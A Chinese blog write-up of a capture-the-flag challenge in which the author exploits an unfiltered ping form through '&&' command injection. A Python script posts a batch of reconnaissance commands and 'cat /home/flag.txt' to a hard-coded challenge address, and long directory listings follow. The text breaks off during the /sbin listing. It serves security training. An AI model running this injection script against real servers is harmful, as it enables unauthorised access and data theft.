【攻防世界】command_execution

最新推荐文章于 2024-05-11 22:25:00 发布
最新推荐文章于 2024-05-11 22:25:00 发布
阅读量441 收藏
点赞数
分类专栏： 攻防世界 文章标签： python 安全 网络攻击模型
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u010160146/article/details/132186226
版权

题目再现

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
题目截图

题目分析

本题目说没有写WAF，然后可以执行Linux经典代码PING，我猜测到服务器不会校验我所注入的代码，我利用串行执行符&&进行测试，没想到可以执行Linux代码。

思路分析

既然可以执行远端代码，我便想看看这台服务器中，都存在那些好东西，使用Web浏览器输入命令显然不够方便，我计划使用Python封装一个工具，该工具可以批量的执行我所选中的命令，并批量的输出。理论存在，实践开始。

工具介绍

IDE：Pycharm
辅助工具：Kali Linux

开源代码

import requests
import re


# 以换行符拼接字符串列表
def connectList(list):
    res = list[0].replace('ping -c 3 ', '')
    for i in range(1, len(list)):
        res = res + '\n' + list[i]
    return res


# 执行单条远程命令
def executeCmd(url, cmd):
    html_pre = '''<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>command execution</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

    <div class="input-group">
        <input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
    </div>
    <br/>
    <br/>

    <button  style="width:280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>'''
    html_after = '''</pre></body>
</html>'''

    # POST请求的URL和参数
    data = {
        'target': '127.0.0.1 && ' + cmd,
    }

    # 发送POST请求
    response = requests.post(url, data=data)
    response.encoding = 'utf-8'  # 设置解析格式为’UTF-8‘

    # 对返回结果进行处理，删除网页代码，仅仅保留命令执行代码，并分割取出命令执行结果的行
    res = response.text.replace(html_pre, '').replace(html_after, '').split('\n')[0:1] + response.text.replace(html_pre,
                                                                                                               '').replace(
        html_after, '').split('\n')[9:]

    # 处理响应
    if response.status_code == 200:
        print("执行结果:\n", connectList(res))
    else:
        print("POST请求失败，状态码：", response.status_code)


# 执行多条命令
def executeCmds(url, cmds):
    for cmd in cmds:
        executeCmd(url, cmd)


if __name__ == '__main__':
    # 目标地址
    url = "http://61.147.171.105:57982/"

    # 欲执行的命令串，其中包含查看系统名称，目录下文件等信息
    cmds = ['hostname', 'env', 'head -n 1 /etc/issue', 'pwd', 'ls', 'ls -l', 'ls -al', 'ls -al /', 'ls -al /bin',
            'ls -al /etc', 'ls -al /home', 'ls -al /lib', 'ls -al /lib64', 'ls -al /media', 'ls -al /mnt',
            'ls -al /proc',
            'ls -al /run', 'ls -al /sbin', 'ls -al /srv', 'ls -al /sys', 'ls -al /tmp', 'ls -al /usr', 'ls -al /var']
    executeCmds(url, cmds)

    # 欲执行的单个命令
    cmd = 'cat /home/flag.txt'
    executeCmd(url, cmd)

结果说明

以下是执行批量命令的结果：

执行结果:
 127.0.0.1 && hostname
4a98e5039872

执行结果:
 127.0.0.1 && env
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html

执行结果:
 127.0.0.1 && head -n 1 /etc/issue
Ubuntu 14.04.5 LTS \n \l

执行结果:
 127.0.0.1 && pwd
/var/www/html

执行结果:
 127.0.0.1 && ls
index.php

执行结果:
 127.0.0.1 && ls -l
total 4
-rw-rw-r-- 1 root root 925 Sep 27  2018 index.php

执行结果:
 127.0.0.1 && ls -al
total 12
drwxr-xr-x 1 root root 4096 Nov 16  2018 .
drwxr-xr-x 1 root root 4096 Nov 16  2018 ..
-rw-rw-r-- 1 root root  925 Sep 27  2018 index.php

执行结果:
 127.0.0.1 && ls -al /
total 88
drwxr-xr-x    1 root root 4096 Aug  9 05:06 .
drwxr-xr-x    1 root root 4096 Aug  9 05:06 ..
-rwxr-xr-x    1 root root    0 Aug  9 05:06 .dockerenv
drwxr-xr-x    2 root root 4096 Mar 20 05:25 .r
drwxr-xr-x    1 root root 4096 Nov 16  2018 bin
drwxr-xr-x    2 root root 4096 Apr 10  2014 boot
drwxr-xr-x    5 root root  360 Aug  9 05:06 dev
drwxr-xr-x    1 root root 4096 Aug  9 05:06 etc
drwxr-xr-x    1 root root 4096 Aug  9 05:06 home
drwxr-xr-x   12 root root 4096 Sep 29  2018 lib
drwxr-xr-x    2 root root 4096 Sep 29  2018 lib64
drwxr-xr-x    2 root root 4096 Sep 29  2018 media
drwxr-xr-x    2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x    2 root root 4096 Sep 29  2018 opt
dr-xr-xr-x 4313 root root    0 Aug  9 05:06 proc
drwx------    2 root root 4096 Sep 29  2018 root
drwxr-xr-x    1 root root 4096 Nov 16  2018 run
-rwxrwxr-x    1 root root   81 Sep 27  2018 run.sh
drwxr-xr-x    1 root root 4096 Oct 19  2018 sbin
drwxr-xr-x    2 root root 4096 Sep 29  2018 srv
dr-xr-xr-x   13 root root    0 Jul  6 06:36 sys
drwxrwxrwt    1 root root 4096 Aug  9 05:06 tmp
drwxr-xr-x    1 root root 4096 Sep 29  2018 usr
drwxr-xr-x    1 root root 4096 Nov 16  2018 var

执行结果:
 127.0.0.1 && ls -al /bin
total 6468
drwxr-xr-x 1 root root    4096 Nov 16  2018 .
drwxr-xr-x 1 root root    4096 Aug  9 05:06 ..
-rwxr-xr-x 1 root root 1021112 May 16  2017 bash
-rwxr-xr-x 3 root root   31152 Oct 21  2013 bunzip2
-rwxr-xr-x 3 root root   31152 Oct 21  2013 bzcat
lrwxrwxrwx 1 root root       6 Oct 21  2013 bzcmp -> bzdiff
-rwxr-xr-x 1 root root    2140 Oct 21  2013 bzdiff
lrwxrwxrwx 1 root root       6 Oct 21  2013 bzegrep -> bzgrep
-rwxr-xr-x 1 root root    4877 Oct 21  2013 bzexe
lrwxrwxrwx 1 root root       6 Oct 21  2013 bzfgrep -> bzgrep
-rwxr-xr-x 1 root root    3642 Oct 21  2013 bzgrep
-rwxr-xr-x 3 root root   31152 Oct 21  2013 bzip2
-rwxr-xr-x 1 root root   14480 Oct 21  2013 bzip2recover
lrwxrwxrwx 1 root root       6 Oct 21  2013 bzless -> bzmore
-rwxr-xr-x 1 root root    1297 Oct 21  2013 bzmore
-rwxr-xr-x 1 root root   47904 Mar 10  2016 cat
-rwxr-xr-x 1 root root   60160 Mar 10  2016 chgrp
-rwxr-xr-x 1 root root   56032 Mar 10  2016 chmod
-rwxr-xr-x 1 root root   60160 Mar 10  2016 chown
-rwxr-xr-x 1 root root   10480 Feb 18  2013 chvt
-rwxr-xr-x 1 root root  130304 Mar 10  2016 cp
-rwxr-xr-x 1 root root  137304 Feb 18  2016 cpio
-rwxr-xr-x 1 root root  121272 Feb 19  2014 dash
-rwxr-xr-x 1 root root   60160 Mar 10  2016 date
-rwxr-xr-x 1 root root   56136 Mar 10  2016 dd
-rwxr-xr-x 1 root root   97768 Mar 10  2016 df
-rwxr-xr-x 1 root root  110080 Mar 10  2016 dir
-rwxr-xr-x 1 root root   22896 Nov 23  2016 dmesg
lrwxrwxrwx 1 root root       8 Dec 13  2013 dnsdomainname -> hostname
lrwxrwxrwx 1 root root       8 Dec 13  2013 domainname -> hostname
-rwxr-xr-x 1 root root   82256 Feb 18  2013 dumpkeys
-rwxr-xr-x 1 root root   31296 Mar 10  2016 echo
-rwxr-xr-x 1 root root  183696 Jan 18  2014 egrep
-rwxr-xr-x 1 root root   27168 Mar 10  2016 false
-rwxr-xr-x 1 root root   10488 Feb 18  2013 fgconsole
-rwxr-xr-x 1 root root  138352 Jan 18  2014 fgrep
-rwxr-xr-x 1 root root   36144 Nov 23  2016 findmnt
-rwxr-xr-x 1 root root   31864 Nov 29  2012 fuser
-rwxr-xr-x 1 root root  191952 Jan 18  2014 grep
-rwxr-xr-x 2 root root    2303 Jan 10  2014 gunzip
-rwxr-xr-x 1 root root    5937 Jan 10  2014 gzexe
-rwxr-xr-x 1 root root   94048 Jan 10  2014 gzip
-rwxr-xr-x 1 root root   14736 Dec 13  2013 hostname
-rwxr-xr-x 1 root root  307328 Dec  6  2017 ip
-rwxr-xr-x 1 root root   10480 Feb 18  2013 kbd_mode
-rwxr-xr-x 1 root root   23088 May 14  2018 kill
-rwxr-xr-x 1 root root  154616 Apr 11  2018 kmod
-rwxr-xr-x 1 root root  153664 Jun 10  2013 less
-rwxr-xr-x 1 root root   10440 Jun 10  2013 lessecho
lrwxrwxrwx 1 root root       8 Jun 10  2013 lessfile -> lesspipe
-rwxr-xr-x 1 root root   15912 Jun 10  2013 lesskey
-rwxr-xr-x 1 root root    7758 Jun 10  2013 lesspipe
-rwxr-xr-x 1 root root   56072 Mar 10  2016 ln
-rwxr-xr-x 1 root root  111432 Feb 18  2013 loadkeys
-rwxr-xr-x 1 root root   49168 May 16  2017 login
-rwxr-xr-x 1 root root  110080 Mar 10  2016 ls
-rwxr-xr-x 1 root root   44688 Nov 23  2016 lsblk
lrwxrwxrwx 1 root root       4 Apr 11  2018 lsmod -> kmod
-rwxr-xr-x 1 root root   51936 Mar 10  2016 mkdir
-rwxr-xr-x 1 root root   35456 Mar 10  2016 mknod
-rwxr-xr-x 1 root root   39648 Mar 10  2016 mktemp
-rwxr-xr-x 1 root root   39600 Nov 23  2016 more
-rwsr-xr-x 1 root root   94792 Nov 23  2016 mount
-rwxr-xr-x 1 root root   10456 Feb 17  2016 mountpoint
lrwxrwxrwx 1 root root      20 Sep 29  2018 mt -> /etc/alternatives/mt
-rwxr-xr-x 1 root root   68760 Feb 18  2016 mt-gnu
-rwxr-xr-x 1 root root  122088 Mar 10  2016 mv
lrwxrwxrwx 1 root root      20 Sep 29  2018 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root   31248 Dec  4  2012 nc.openbsd
lrwxrwxrwx 1 root root      24 Sep 29  2018 netcat -> /etc/alternatives/netcat
-rwxr-xr-x 1 root root  119624 Aug  5  2014 netstat
lrwxrwxrwx 1 root root       8 Dec 13  2013 nisdomainname -> hostname
lrwxrwxrwx 1 root root       6 Feb 18  2013 open -> openvt
-rwxr-xr-x 1 root root   18912 Feb 18  2013 openvt
lrwxrwxrwx 1 root root      14 Feb 17  2016 pidof -> /sbin/killall5
-rwsr-xr-x 1 root root   44168 May  7  2014 ping
-rwsr-xr-x 1 root root   44680 May  7  2014 ping6
-rwxr-xr-x 1 root root   35448 May  9  2018 plymouth
-rwxr-xr-x 1 root root   31608 May  9  2018 plymouth-upstart-bridge
-rwxr-xr-x 1 root root   93232 May 14  2018 ps
-rwxr-xr-x 1 root root   31392 Mar 10  2016 pwd
lrwxrwxrwx 1 root root       4 May 16  2017 rbash -> bash
-rwxr-xr-x 1 root root   39528 Mar 10  2016 readlink
-rwxr-xr-x 1 root root   60160 Mar 10  2016 rm
-rwxr-xr-x 1 root root   43648 Mar 10  2016 rmdir
-rwxr-xr-x 1 root root   19248 Aug 28  2013 run-parts
-rwxr-xr-x 1 root root     254 Jul 18  2014 running-in-container
-rwxr-xr-x 1 root root   73352 Feb 13  2014 sed
-rwxr-xr-x 1 root root   39896 Feb 18  2013 setfont
-rwxr-xr-x 1 root root   12052 Jan 29  2014 setupcon
lrwxrwxrwx 1 root root       4 Feb 19  2014 sh -> dash
lrwxrwxrwx 1 root root       4 Feb 19  2014 sh.distrib -> dash
-rwxr-xr-x 1 root root   31296 Mar 10  2016 sleep
-rwxr-xr-x 1 root root   76624 Dec  6  2017 ss
-rwxr-xr-x 1 root root   68256 Mar 10  2016 stty
-rwsr-xr-x 1 root root   36936 May 16  2017 su
-rwxr-xr-x 1 root root   27200 Mar 10  2016 sync
-rwxr-xr-x 1 root root   18816 Nov 23  2016 tailf
-rwxr-xr-x 1 root root  353840 Nov 17  2016 tar
-rwxr-xr-x 1 root root   10344 Aug 28  2013 tempfile
-rwxr-xr-x 1 root root   60224 Mar 10  2016 touch
-rwxr-xr-x 1 root root   27168 Mar 10  2016 true
-rwxr-xr-x 1 root root  248040 Apr 12  2018 udevadm
-rwsr-xr-x 1 root root   69120 Nov 23  2016 umount
-rwxr-xr-x 1 root root   31360 Mar 10  2016 uname
-rwxr-xr-x 2 root root    2303 Jan 10  2014 uncompress
-rwxr-xr-x 1 root root    2762 Feb 18  2013 unicode_start
-rwxr-xr-x 1 root root  110080 Mar 10  2016 vdir
-rwxr-xr-x 1 root root     946 Aug 28  2013 which
-rwxr-xr-x 1 root root   27368 Mar 23  2014 whiptail
lrwxrwxrwx 1 root root       8 Dec 13  2013 ypdomainname -> hostname
-rwxr-xr-x 1 root root    1939 Jan 10  2014 zcat
-rwxr-xr-x 1 root root    1779 Jan 10  2014 zcmp
-rwxr-xr-x 1 root root    5766 Jan 10  2014 zdiff
-rwxr-xr-x 1 root root     142 Jan 10  2014 zegrep
-rwxr-xr-x 1 root root     142 Jan 10  2014 zfgrep
-rwxr-xr-x 1 root root    2133 Jan 10  2014 zforce
-rwxr-xr-x 1 root root    5940 Jan 10  2014 zgrep
-rwxr-xr-x 1 root root    2039 Jan 10  2014 zless
-rwxr-xr-x 1 root root    1912 Jan 10  2014 zmore
-rwxr-xr-x 1 root root    5049 Jan 10  2014 znew

执行结果:
 127.0.0.1 && ls -al /etc
total 560
drwxr-xr-x 1 root root    4096 Aug  9 05:06 .
drwxr-xr-x 1 root root    4096 Aug  9 05:06 ..
-rw------- 1 root root       0 Sep 29  2018 .pwd.lock
drwxr-xr-x 4 root root    4096 Sep 29  2018 X11
-rw-r--r-- 1 root root    2981 Sep 29  2018 adduser.conf
drwxr-xr-x 1 root root    4096 Nov 16  2018 alternatives
drwxr-xr-x 1 root root    4096 Nov 16  2018 apache2
drwxr-xr-x 3 root root    4096 Sep 29  2018 apparmor
drwxr-xr-x 5 root root    4096 Sep 29  2018 apparmor.d
drwxr-xr-x 1 root root    4096 Nov  6  2018 apt
-rw-r--r-- 1 root root    2177 Apr  9  2014 bash.bashrc
drwxr-xr-x 1 root root    4096 Nov 16  2018 bash_completion.d
-rw-r--r-- 1 root root     356 Jan  1  2012 bindresvport.blacklist
-rw-r--r-- 1 root root     321 Apr 16  2014 blkid.conf
lrwxrwxrwx 1 root root      15 Nov 23  2016 blkid.tab -> /dev/.blkid.tab
drwxr-xr-x 2 root root    4096 Sep 29  2018 console-setup
drwxr-xr-x 1 root root    4096 Nov 16  2018 cron.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 cron.daily
drwxr-xr-x 2 root root    4096 Sep 29  2018 cron.hourly
drwxr-xr-x 2 root root    4096 Sep 29  2018 cron.monthly
drwxr-xr-x 2 root root    4096 Sep 29  2018 cron.weekly
-rw-r--r-- 1 root root     722 Feb  9  2013 crontab
drwxr-xr-x 3 root root    4096 Apr 11  2014 dbus-1
-rw-r--r-- 1 root root    2969 Feb 23  2014 debconf.conf
-rw-r--r-- 1 root root      11 Feb 20  2014 debian_version
drwxr-xr-x 1 root root    4096 Nov 16  2018 default
-rw-r--r-- 1 root root     604 Nov  7  2013 deluser.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 depmod.d
drwxr-xr-x 4 root root    4096 Sep 29  2018 dhcp
drwxr-xr-x 1 root root    4096 Sep 29  2018 dpkg
-rw-r--r-- 1 root root      96 Sep 29  2018 environment
-rw-r--r-- 1 root root      37 Sep 29  2018 fstab
drwxr-xr-x 2 root root    4096 Apr 16  2014 fstab.d
-rw-r--r-- 1 root root    2584 Oct 10  2012 gai.conf
-rw-r--r-- 1 root root     526 Nov 16  2018 group
-rw------- 1 root root     510 Sep 29  2018 group-
-rw-r----- 1 root shadow   439 Nov 16  2018 gshadow
-rw------- 1 root root     426 Sep 29  2018 gshadow-
-rw-r--r-- 1 root root      92 Feb 20  2014 host.conf
-rw-r--r-- 1 root root      13 Aug  9 05:06 hostname
-rw-r--r-- 1 root root     176 Aug  9 05:06 hosts
drwxr-xr-x 2 root root    4096 Sep 29  2018 init
drwxr-xr-x 1 root root    4096 Nov 16  2018 init.d
drwxr-xr-x 5 root root    4096 Sep 29  2018 initramfs-tools
-rw-r--r-- 1 root root    1721 Mar 28  2014 inputrc
drwxr-xr-x 3 root root    4096 May 18  2013 insserv
-rw-r--r-- 1 root root     771 May 18  2013 insserv.conf
drwxr-xr-x 2 root root    4096 May 18  2013 insserv.conf.d
drwxr-xr-x 2 root root    4096 Sep 29  2018 iproute2
-rw-r--r-- 1 root root      26 Aug  1  2016 issue
-rw-r--r-- 1 root root      19 Aug  1  2016 issue.net
drwxr-xr-x 2 root root    4096 Sep 29  2018 kbd
drwxr-xr-x 4 root root    4096 Mar 14  2013 kernel
-rw-r--r-- 1 root root   11179 Nov 16  2018 ld.so.cache
-rw-r--r-- 1 root root      34 Sep 29  2018 ld.so.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 ld.so.conf.d
drwxr-xr-x 2 root root    4096 Nov 16  2018 ldap
-rw-r--r-- 1 root root     267 Feb 20  2014 legal
-rw-r--r-- 1 root root     191 Dec  4  2013 libaudit.conf
-rw-r--r-- 1 root root    2570 Aug  5  2010 locale.alias
-rw-r--r-- 1 root root     118 Sep 29  2018 localtime
drwxr-xr-x 3 root root    4096 Sep 29  2018 logcheck
-rw-r--r-- 1 root root   10551 Feb 17  2014 login.defs
-rw-r--r-- 1 root root     703 Mar 22  2017 logrotate.conf
drwxr-xr-x 1 root root    4096 Nov 16  2018 logrotate.d
-rw-r--r-- 1 root root     105 Aug  1  2016 lsb-release
-rw-r--r-- 1 root root     111 Jun 13  2018 magic
-rw-r--r-- 1 root root     111 Jun 13  2018 magic.mime
-rw-r--r-- 1 root root    1989 Sep 29  2018 mailcap
-rw-r--r-- 1 root root     449 Jan  6  2015 mailcap.order
-rw-r--r-- 1 root root   23922 Jan  6  2015 mime.types
-rw-r--r-- 1 root root     956 Feb 19  2014 mke2fs.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 modprobe.d
-rw-r--r-- 1 root root     248 Sep 29  2018 modules
lrwxrwxrwx 1 root root      12 Aug  9 05:06 mtab -> /proc/mounts
drwxr-xr-x 7 root root    4096 Sep 29  2018 network
-rw-r--r-- 1 root root      91 Feb 20  2014 networks
drwxr-xr-x 2 root root    4096 Sep 29  2018 newt
lrwxrwxrwx 1 root root      28 Sep 29  2018 nologin -> /var/lib/initscripts/nologin
-rw-r--r-- 1 root root     475 Feb 20  2014 nsswitch.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 opt
-rw-r--r-- 1 root root     249 Aug  1  2016 os-release
-rw-r--r-- 1 root root     552 Jan 31  2014 pam.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 pam.d
-rw-r--r-- 1 root root     956 Sep 29  2018 passwd
drwxr-xr-x 4 root root    4096 Sep 29  2018 perl
drwxr-xr-x 5 root root    4096 Nov 16  2018 php5
drwxr-xr-x 4 root root    4096 Sep 29  2018 ppp
-rw-r--r-- 1 root root     665 Feb 20  2014 profile
drwxr-xr-x 2 root root    4096 Apr 10  2014 profile.d
-rw-r--r-- 1 root root    2932 Dec 30  2013 protocols
drwxr-xr-x 2 root root    4096 Sep 29  2018 python3
drwxr-xr-x 2 root root    4096 Sep 29  2018 python3.4
-rwxr-xr-x 1 root root     306 Sep 29  2018 rc.local
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc0.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc1.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc2.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc3.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc4.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc5.d
drwxr-xr-x 1 root root    4096 Nov 16  2018 rc6.d
drwxr-xr-x 2 root root    4096 Sep 29  2018 rcS.d
-rw-r--r-- 1 root root     137 Aug  9 05:06 resolv.conf
drwxr-xr-x 4 root root    4096 Sep 29  2018 resolvconf
-rwxr-xr-x 1 root root     268 Feb  4  2014 rmt
-rw-r--r-- 1 root root     887 Dec 30  2013 rpc
-rw-r--r-- 1 root root    1320 Aug 19  2014 rsyslog.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 rsyslog.d
-rw-r--r-- 1 root root    4038 Feb 17  2014 securetty
drwxr-xr-x 4 root root    4096 Sep 29  2018 security
drwxr-xr-x 2 root root    4096 Sep 29  2018 selinux
-rw-r--r-- 1 root root   19558 Dec 30  2013 services
drwxr-xr-x 2 root root    4096 Nov 16  2018 sgml
-rw-r----- 1 root shadow   532 Sep 29  2018 shadow
-rw-r--r-- 1 root root      73 Sep 29  2018 shells
drwxr-xr-x 2 root root    4096 Sep 29  2018 skel
drwxr-xr-x 4 root root    4096 Nov 16  2018 ssl
-rw-r--r-- 1 root root       0 Sep 29  2018 subgid
-rw------- 1 root root       0 Sep 29  2018 subgid-
-rw-r--r-- 1 root root       0 Sep 29  2018 subuid
-rw------- 1 root root       0 Sep 29  2018 subuid-
-r--r----- 1 root root     755 May 29  2017 sudoers
drwxr-xr-x 2 root root    4096 Sep 29  2018 sudoers.d
-rw-r--r-- 1 root root    2084 Apr  1  2013 sysctl.conf
drwxr-xr-x 2 root root    4096 Sep 29  2018 sysctl.d
drwxr-xr-x 3 root root    4096 Sep 29  2018 systemd
drwxr-xr-x 2 root root    4096 Sep 29  2018 terminfo
-rw-r--r-- 1 root root       8 Sep 29  2018 timezone
-rw-r--r-- 1 root root    1260 Jul  1  2013 ucf.conf
drwxr-xr-x 4 root root    4096 Sep 29  2018 udev
drwxr-xr-x 3 root root    4096 Nov 16  2018 ufw
drwxr-xr-x 2 root root    4096 Sep 29  2018 update-motd.d
-rw-r--r-- 1 root root     222 Apr 11  2014 upstart-xsessions
drwxr-xr-x 2 root root    4096 Sep 29  2018 vim
lrwxrwxrwx 1 root root      23 Sep 29  2018 vtrgb -> /etc/alternatives/vtrgb
drwxr-xr-x 2 root root    4096 Nov 16  2018 xml

执行结果:
 127.0.0.1 && ls -al /home
total 12
drwxr-xr-x 1 root root 4096 Aug  9 05:06 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..
-rw-rw-r-- 1 root root   44 Aug  9 05:06 flag.txt

执行结果:
 127.0.0.1 && ls -al /lib
total 120
drwxr-xr-x 12 root root  4096 Sep 29  2018 .
drwxr-xr-x  1 root root  4096 Aug  9 05:06 ..
drwxr-xr-x  2 root root  4096 Sep 29  2018 ifupdown
drwxr-xr-x  2 root root  4096 Sep 29  2018 init
-rwxr-xr-x  1 root root 71528 Jun 13  2017 klibc-gLiulUM5C1Zpwc25rCxX8UZ6S-s.so
drwxr-xr-x  3 root root  4096 Sep 29  2018 lsb
drwxr-xr-x  2 root root  4096 Apr 10  2014 modprobe.d
drwxr-xr-x  3 root root  4096 Sep 29  2018 plymouth
drwxr-xr-x  2 root root  4096 Sep 29  2018 resolvconf
drwxr-xr-x  3 root root  4096 Sep 29  2018 systemd
drwxr-xr-x 15 root root  4096 Mar 22  2014 terminfo
drwxr-xr-x  4 root root  4096 Sep 29  2018 udev
drwxr-xr-x  4 root root  4096 Sep 29  2018 x86_64-linux-gnu

执行结果:
 127.0.0.1 && ls -al /lib64
total 8
drwxr-xr-x 2 root root 4096 Sep 29  2018 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..
lrwxrwxrwx 1 root root   32 Jan 15  2018 ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.19.so

执行结果:
 127.0.0.1 && ls -al /media
total 8
drwxr-xr-x 2 root root 4096 Sep 29  2018 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..

执行结果:
 127.0.0.1 && ls -al /mnt
total 8
drwxr-xr-x 2 root root 4096 Apr 10  2014 .
drwxr-xr-x 1 root root 4096 Aug  9 05:06 ..

执行结果:
 127.0.0.1 && ls -al /proc
total 4
dr-xr-xr-x 4308 root     root        0 Aug  9 05:06 .
drwxr-xr-x    1 root     root     4096 Aug  9 05:06 ..
dr-xr-xr-x    9 root     root        0 Aug  9 05:09 1
dr-xr-xr-x    9 root     root        0 Aug  9 05:09 32
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 35
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 36
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 37
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 38
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 39
dr-xr-xr-x    9 root     root        0 Aug  9 05:09 43
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 50
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 53
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 96
dr-xr-xr-x    9 www-data www-data    0 Aug  9 05:09 98
drwxrwxrwt    2 root     root       40 Aug  9 05:06 acpi
-r--r--r--    1 root     root        0 Aug  9 05:09 buddyinfo
dr-xr-xr-x    4 root     root        0 Aug  9 05:06 bus
-r--r--r--    1 root     root        0 Aug  9 05:09 cgroups
-r--r--r--    1 root     root        0 Aug  9 05:09 cmdline
-r--r--r--    1 root     root        0 Aug  9 05:09 consoles
-r--r--r--    1 root     root        0 Aug  9 05:09 cpuinfo
-r--r--r--    1 root     root        0 Aug  9 05:09 crypto
-r--r--r--    1 root     root        0 Aug  9 05:09 devices
-r--r--r--    1 root     root        0 Aug  9 05:09 diskstats
-r--r--r--    1 root     root        0 Aug  9 05:09 dma
dr-xr-xr-x    2 root     root        0 Aug  9 05:09 driver
-r--r--r--    1 root     root        0 Aug  9 05:09 execdomains
-r--r--r--    1 root     root        0 Aug  9 05:09 fb
-r--r--r--    1 root     root        0 Aug  9 05:09 filesystems
dr-xr-xr-x    6 root     root        0 Aug  9 05:06 fs
-r--r--r--    1 root     root        0 Aug  9 05:09 interrupts
-r--r--r--    1 root     root        0 Aug  9 05:09 iomem
-r--r--r--    1 root     root        0 Aug  9 05:09 ioports
dr-xr-xr-x   66 root     root        0 Aug  9 05:06 irq
-r--r--r--    1 root     root        0 Aug  9 05:09 kallsyms
crw-rw-rw-    1 root     root     1, 3 Aug  9 05:06 kcore
-r--r--r--    1 root     root        0 Aug  9 05:09 key-users
crw-rw-rw-    1 root     root     1, 3 Aug  9 05:06 keys
-r--------    1 root     root        0 Aug  9 05:09 kmsg
-r--------    1 root     root        0 Aug  9 05:09 kpagecgroup
-r--------    1 root     root        0 Aug  9 05:09 kpagecount
-r--------    1 root     root        0 Aug  9 05:09 kpageflags
-r--r--r--    1 root     root        0 Aug  9 05:09 loadavg
-r--r--r--    1 root     root        0 Aug  9 05:09 locks
-r--r--r--    1 root     root        0 Aug  9 05:09 mdstat
-r--r--r--    1 root     root        0 Aug  9 05:09 meminfo
-r--r--r--    1 root     root        0 Aug  9 05:09 misc
-r--r--r--    1 root     root        0 Aug  9 05:09 modules
lrwxrwxrwx    1 root     root       11 Aug  9 05:09 mounts -> self/mounts
dr-xr-xr-x    3 root     root        0 Aug  9 05:09 mpt
-rw-r--r--    1 root     root        0 Aug  9 05:09 mtrr
lrwxrwxrwx    1 root     root        8 Aug  9 05:09 net -> self/net
-r--r--r--    1 root     root        0 Aug  9 05:09 pagetypeinfo
-r--r--r--    1 root     root        0 Aug  9 05:09 partitions
crw-rw-rw-    1 root     root     1, 3 Aug  9 05:06 sched_debug
-r--r--r--    1 root     root        0 Aug  9 05:09 schedstat
drwxrwxrwt    2 root     root       40 Aug  9 05:06 scsi
lrwxrwxrwx    1 root     root        0 Aug  9 05:06 self -> 98
-r--------    1 root     root        0 Aug  9 05:09 slabinfo
-r--r--r--    1 root     root        0 Aug  9 05:09 softirqs
-r--r--r--    1 root     root        0 Aug  9 05:09 stat
-r--r--r--    1 root     root        0 Aug  9 05:09 swaps
dr-xr-xr-x    1 root     root        0 Aug  9 05:06 sys
--w-------    1 root     root        0 Aug  9 05:06 sysrq-trigger
dr-xr-xr-x    2 root     root        0 Aug  9 05:09 sysvipc
lrwxrwxrwx    1 root     root        0 Aug  9 05:06 thread-self -> 98/task/98
crw-rw-rw-    1 root     root     1, 3 Aug  9 05:06 timer_list
dr-xr-xr-x    4 root     root        0 Aug  9 05:09 tty
-r--r--r--    1 root     root        0 Aug  9 05:09 uptime
-r--r--r--    1 root     root        0 Aug  9 05:09 version
-r--r--r--    1 root     root        0 Aug  9 05:09 version_signature
-r--------    1 root     root        0 Aug  9 05:09 vmallocinfo
-r--r--r--    1 root     root        0 Aug  9 05:09 vmstat
-r--r--r--    1 root     root        0 Aug  9 05:09 zoneinfo

执行结果:
 127.0.0.1 && ls -al /run
total 48
drwxr-xr-x 1 root root   4096 Nov 16  2018 .
drwxr-xr-x 1 root root   4096 Aug  9 05:06 ..
drwxr-xr-x 1 root root   4096 Aug  9 05:06 apache2
drwxrwxrwt 1 root root   4096 Nov 16  2018 lock
-rw-r--r-- 1 root root    110 Sep 29  2018 motd.dynamic
drwxr-xr-x 2 root netdev 4096 Sep 29  2018 network
drwxr-xr-x 3 root root   4096 Sep 29  2018 resolvconf
drwxr-xr-x 2 root root   4096 Sep 29  2018 sendsigs.omit.d
drwxr-xr-x 2 root root   4096 Sep 29  2018 shm
drwxr-xr-x 2 root root   4096 Oct 19  2018 systemd
-rw-rw-r-- 1 root utmp      0 Sep 29  2018 utmp

执行结果:
 127.0.0.1 && ls -al /sbin
total 6952
